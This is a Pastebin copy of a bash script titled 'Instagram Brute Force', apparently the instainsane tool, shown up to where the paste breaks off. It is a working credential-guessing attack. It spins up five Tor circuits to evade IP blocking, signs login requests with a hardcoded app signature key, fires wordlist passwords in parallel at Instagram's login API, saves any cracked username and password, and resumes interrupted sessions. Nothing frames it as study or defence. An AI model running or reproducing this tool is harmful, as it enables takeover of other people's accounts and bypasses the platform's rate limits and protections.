Advertisement
Guest User

Untitled

a guest
Jun 19th, 2019
292
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.09 KB | None | 0 0
  1. #!/bin/bash
  2. # Coded by: thelinuxchoice (Don't change, noob!)
  3. # www.github.com/thelinuxchoice
  4. # www.instagram.com/linux_choice
  5.  
  6. trap 'store; exit 1;' 2
  7.  
  8. counter=0
  9. counter2=20
  10. counter3=40
  11. counter4=60
  12. counter5=80
  13. start=0
  14. end=20
  15. turn=$((start+end))
  16. startline=1
  17. endline=20
  18. sumstart=0
  19. string4=$(openssl rand -hex 32 | cut -c 1-4)
  20. string8=$(openssl rand -hex 32 | cut -c 1-8)
  21. string12=$(openssl rand -hex 32 | cut -c 1-12)
  22. string16=$(openssl rand -hex 32 | cut -c 1-16)
  23. device="android-$string16"
  24. uuid=$(openssl rand -hex 32 | cut -c 1-32)
  25. phone="$string8-$string4-$string4-$string4-$string12"
  26. guid="$string8-$string4-$string4-$string4-$string12"
  27. var0=$(curl --socks5 localhost:9051 -i -s -H "$header" https://i.instagram.com/api/v1/si/fetch_headers/?challenge_type=signup&guid=$uuid > /dev/null)
  28. var2=$(echo $var0 | grep -o 'csrftoken=.*' | cut -d ';' -f1 | cut -d '=' -f2)
  29.  
  30.  
  31. banner() {
  32.  
  33. printf "\e[1;77m\e[41m Instagram Brute Force - zilla \e[0m\n" #Don't change, noob
  34. printf "\n"
  35. }
  36.  
  37.  
  38. function start() {
  39. read -p $'\e[1;92mTarget: \e[0m' user
  40. checkaccount=$(curl -L -s https://www.instagram.com/$user/ | grep -c "the page may have been removed")
  41. if [[ "$checkaccount" == 1 ]]; then
  42. printf "\e[1;91mInvalid Username! Try again\e[0m\n"
  43. sleep 1
  44. start
  45. else
  46. default_wl_pass="passwords.lst"
  47. read -p $'\e[1;92mPassword List: \e[0m' wl_pass
  48. wl_pass="${wl_pass:-${default_wl_pass}}"
  49. default_threads="100"
  50. threads="${threads:-${default_threads}}"
  51. fi
  52. }
  53.  
  54.  
  55. checkroot() {
  56. if [[ "$(id -u)" -ne 0 ]]; then
  57. printf "\e[1;77mPlease, run this program as root!\n\e[0m"
  58. exit 1
  59. fi
  60. }
  61.  
  62.  
  63. dependencies() {
  64.  
  65. command -v tor > /dev/null 2>&1 || { echo >&2 "I require tor but it's not installed. Run ./install.sh. Aborting."; exit 1; }
  66. command -v curl > /dev/null 2>&1 || { echo >&2 "I require curl but it's not installed. Run ./install.sh. Aborting."; exit 1; }
  67. command -v openssl > /dev/null 2>&1 || { echo >&2 "I require openssl but it's not installed. Run ./install.sh Aborting."; exit 1; }
  68.  
  69. command -v awk > /dev/null 2>&1 || { echo >&2 "I require awk but it's not installed. Aborting."; exit 1; }
  70. command -v sed > /dev/null 2>&1 || { echo >&2 "I require sed but it's not installed. Aborting."; exit 1; }
  71. command -v cat > /dev/null 2>&1 || { echo >&2 "I require cat but it's not installed. Aborting."; exit 1; }
  72. command -v tr > /dev/null 2>&1 || { echo >&2 "I require tr but it's not installed. Aborting."; exit 1; }
  73. command -v wc > /dev/null 2>&1 || { echo >&2 "I require wc but it's not installed. Aborting."; exit 1; }
  74. command -v cut > /dev/null 2>&1 || { echo >&2 "I require cut but it's not installed. Aborting."; exit 1; }
  75. command -v uniq > /dev/null 2>&1 || { echo >&2 "I require uniq but it's not installed. Aborting."; exit 1; }
  76. if [ $(ls /dev/urandom >/dev/null; echo $?) == "1" ]; then
  77. echo "/dev/urandom not found!"
  78. exit 1
  79. fi
  80.  
  81. }
  82.  
  83.  
  84. multitor() {
  85.  
  86. if [[ ! -d multitor ]]; then
  87. mkdir multitor;
  88. printf "SOCKSPort 9051\nDataDirectory /var/lib/tor1" > multitor/multitor1
  89. printf "SOCKSPort 9052\nDataDirectory /var/lib/tor2" > multitor/multitor2
  90. printf "SOCKSPort 9053\nDataDirectory /var/lib/tor3" > multitor/multitor3
  91. printf "SOCKSPort 9054\nDataDirectory /var/lib/tor4" > multitor/multitor4
  92. printf "SOCKSPort 9055\nDataDirectory /var/lib/tor5" > multitor/multitor5
  93. fi
  94.  
  95. printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9051\e[0m\n"
  96. tor -f multitor/multitor1 > /dev/null &
  97. tor1=$!
  98. #printf "Process %s\n" $tor1
  99. sleep 6
  100. printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9052\e[0m\n"
  101. tor -f multitor/multitor2 > /dev/null &
  102. tor2=$!
  103. sleep 6
  104. printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9053\e[0m\n"
  105. tor -f multitor/multitor3 > /dev/null &
  106. sleep 6
  107. printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9054\e[0m\n"
  108. tor -f multitor/multitor4 > /dev/null &
  109. sleep 6
  110. printf "\e[1;92m[*] Starting Tor on port:\e[0m\e[1;77m 9055\e[0m\n"
  111. tor -f multitor/multitor5 > /dev/null &
  112. sleep 6
  113. checkcount=0
  114. printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9051\e[0m..."
  115. check1=$(curl --socks5-hostname localhost:9051 -s https://www.google.com > /dev/null; echo $?)
  116. if [[ "check1" -gt 0 ]]; then
  117. printf "\e[1;91mFAIL!\e[0m\n"
  118. else
  119. printf "\e[1;92mOK!\e[0m\n"
  120. let checkcount++
  121. fi
  122.  
  123. printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9052\e[0m..."
  124. check2=$(curl --socks5-hostname localhost:9052 -s https://www.google.com > /dev/null; echo $?)
  125. if [[ "check2" -gt 0 ]]; then
  126. printf "\e[1;91mFAIL!\e[0m\n"
  127. else
  128. printf "\e[1;92mOK!\e[0m\n"
  129. let checkcount++
  130. fi
  131.  
  132. printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9053\e[0m..."
  133. check3=$(curl --socks5-hostname localhost:9053 -s https://www.google.com > /dev/null; echo $?)
  134. if [[ "check3" -gt 0 ]]; then
  135. printf "\e[1;91mFAIL!\e[0m\n"
  136. else
  137. printf "\e[1;92mOK!\e[0m\n"
  138. let checkcount++
  139. fi
  140.  
  141.  
  142. printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9054\e[0m..."
  143. check4=$(curl --socks5-hostname localhost:9054 -s https://www.google.com > /dev/null; echo $?)
  144. if [[ "check4" -gt 0 ]]; then
  145. printf "\e[1;91mFAIL!\e[0m\n"
  146. else
  147. printf "\e[1;92mOK!\e[0m\n"
  148. let checkcount++
  149. fi
  150.  
  151. printf "\e[1;92m[*] Checking Tor connection on port:\e[0m\e[1;77m 9055\e[0m..."
  152. check5=$(curl --socks5-hostname localhost:9055 -s https://www.google.com > /dev/null; echo $?)
  153. if [[ "check5" -gt 0 ]]; then
  154. printf "\e[1;91mFAIL!\e[0m\n"
  155. else
  156. printf "\e[1;92mOK!\e[0m\n"
  157. let checkcount++
  158. fi
  159.  
  160. if [[ $checkcount != 5 ]]; then
  161. printf "\e[1;91mRequire all TOR connection running to continue. Exiting\e[0m\n"
  162. exit 1
  163. fi
  164. printf "\n"
  165. printf "\e[1;77m[*] Starting...\e[0m\n"
  166. printf "\e[1;91m [*] Press Crtl + C to Stop/Save session\e[0m\n"
  167. sleep 2
  168. }
  169.  
  170. function store() {
  171.  
  172. if [[ -n "$threads" ]]; then
  173. printf "\n"
  174. printf "\e[1;91m [*] Waiting threads shutting down...\n\e[0m"
  175. wait $pid1 > /dev/null 2>&1 ; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1 ; wait $!;
  176. sleep 6
  177.  
  178. if [[ -e nottested.lst ]]; then
  179. not=$(wc -l nottested.lst | cut -d " " -f1)
  180. printf "\e[1;92m [!] Passwords not tested due IP BLocking:\e[0m\e[1;77m %s\e[0m\n" $not
  181. ssfile="nottested.$user.$RANDOM"
  182. sfile=$(mv nottested.lst $ssfile | echo $ssfile)
  183. printf "\e[1;92m [*] Saved:\e[0m\e[1;77m %s\n" $sfile
  184. rm -rf nottested.lst
  185. printf "\e[1;91m [!] Use this file as wordlist!\e[0m\n"
  186. fi
  187. default_session="Y"
  188. printf "\n\e[1;77m [?] Save session for user\e[0m\e[1;92m %s \e[0m" $user
  189. read -p $'\e[1;77m? [Y/n]: \e[0m' session
  190. session="${session:-${default_session}}"
  191. if [[ "$session" == "Y" || "$session" == "y" || "$session" == "yes" || "$session" == "Yes" ]]; then
  192. if [[ ! -d sessions ]]; then
  193. mkdir sessions
  194. fi
  195. IFS=$'\n'
  196. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  197. printf "user=\"%s\"\npass=\"%s\"\nwl_pass=\"%s\"\ntoken=\"%s\"\n" $user $pass $wl_pass $countpass > sessions/store.session.$user.$(date +"%FT%H%M")
  198. printf "\e[1;77mSession saved.\e[0m\n"
  199. printf "\e[1;92mUse ./instainsane.sh --resume\n"
  200. else
  201. exit 1
  202. fi
  203. else
  204. exit 1
  205. fi
  206. }
  207.  
  208.  
  209. bf1() {
  210.  
  211. while [ $counter -lt $turn ]; do
  212.  
  213. IFS=$'\n'
  214. for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
  215. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  216. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  217.  
  218. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  219. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  220. IFS=$'\n'
  221. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  222. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  223. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  224.  
  225. let counter++
  226. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  227.  
  228. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9051 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!;
  229.  
  230. let startline+=20
  231. let endline+=20
  232.  
  233. done
  234.  
  235. }
  236.  
  237.  
  238. bf2() {
  239.  
  240. while [ $counter2 -lt $turn ]; do
  241. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  242. IFS=$'\n'
  243. for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
  244. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  245.  
  246. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  247. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  248. IFS=$'\n'
  249. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  250. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  251. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  252.  
  253. let counter2++
  254.  
  255. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  256.  
  257. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9052 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst ; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid2=$! ; # wait $!;
  258.  
  259. let startline+=20
  260. let endline+=20
  261.  
  262. done
  263.  
  264. }
  265.  
  266.  
  267. bf3() {
  268.  
  269. while [ $counter3 -lt $turn ]; do
  270. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  271. IFS=$'\n'
  272. for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
  273. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  274.  
  275. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  276. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  277. IFS=$'\n'
  278. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  279. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  280. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  281.  
  282. let counter3++
  283.  
  284. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  285.  
  286. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9053 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid3=$! ; # wait $!;
  287.  
  288. let startline+=20
  289. let endline+=20
  290.  
  291. done
  292. }
  293.  
  294.  
  295. bf4() {
  296.  
  297. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  298. while [ $counter4 -lt $turn ]; do
  299.  
  300. IFS=$'\n'
  301. for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
  302. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  303.  
  304. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  305. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  306. IFS=$'\n'
  307. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  308. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  309. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  310.  
  311.  
  312. let counter4++
  313. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  314.  
  315. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9054 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid4=$! ; # wait $!;
  316.  
  317. let startline+=20
  318. let endline+=20
  319.  
  320. done
  321. }
  322.  
  323. bf5() {
  324.  
  325. while [ $counter5 -lt $turn ]; do
  326. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  327. IFS=$'\n'
  328. for pass in $(sed -n ''$((startline+sumstart))','$endline'p' $wl_pass); do
  329. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  330.  
  331. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  332. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  333. IFS=$'\n'
  334. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  335. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  336. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  337.  
  338. let counter5++
  339.  
  340. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  341.  
  342. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9055 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst;kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; wait $pid1 > /dev/null 2>&1; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1; wait $! > /dev/null 2>&1 ;
  343.  
  344. let startline+=20
  345. let endline+=20
  346.  
  347. done
  348. }
  349.  
  350.  
  351. bf1resume() {
  352.  
  353. while [ $counter -lt $turn ]; do
  354. startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  355. startresume1=$((startresume+1))
  356. IFS=$'\n'
  357. for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
  358.  
  359. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  360. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  361.  
  362. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  363. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  364. IFS=$'\n'
  365. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  366. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  367. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  368.  
  369.  
  370. let counter++
  371. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  372.  
  373. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9051 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!;
  374.  
  375. let startline+=20
  376. let endline+=20
  377.  
  378. done
  379. }
  380.  
  381. bf2resume() {
  382.  
  383. while [ $counter2 -lt $turn ]; do
  384. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  385. IFS=$'\n'
  386. startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  387. startresume1=$((startresume+1))
  388. IFS=$'\n'
  389. for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
  390.  
  391. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  392.  
  393. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  394. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  395. IFS=$'\n'
  396. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  397. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  398. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  399.  
  400. let counter2++
  401.  
  402. printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
  403.  
  404. {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9052 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid2=$! ; # wait $!;
  405.  
  406. let startline+=20
  407. let endline+=20
  408.  
  409. done
  410. }
  411.  
  412. bf3resume() {
  413.  
  414. while [ $counter3 -lt $turn ]; do
  415. count_pass=$(wc -l $wl_pass | cut -d " " -f1)
  416. IFS=$'\n'
  417. startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  418. startresume1=$((startresume+1))
  419. IFS=$'\n'
  420. for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do
  421.  
  422. header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
  423.  
  424. data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
  425. ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
  426. IFS=$'\n'
  427. countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
  428. hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
  429. useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
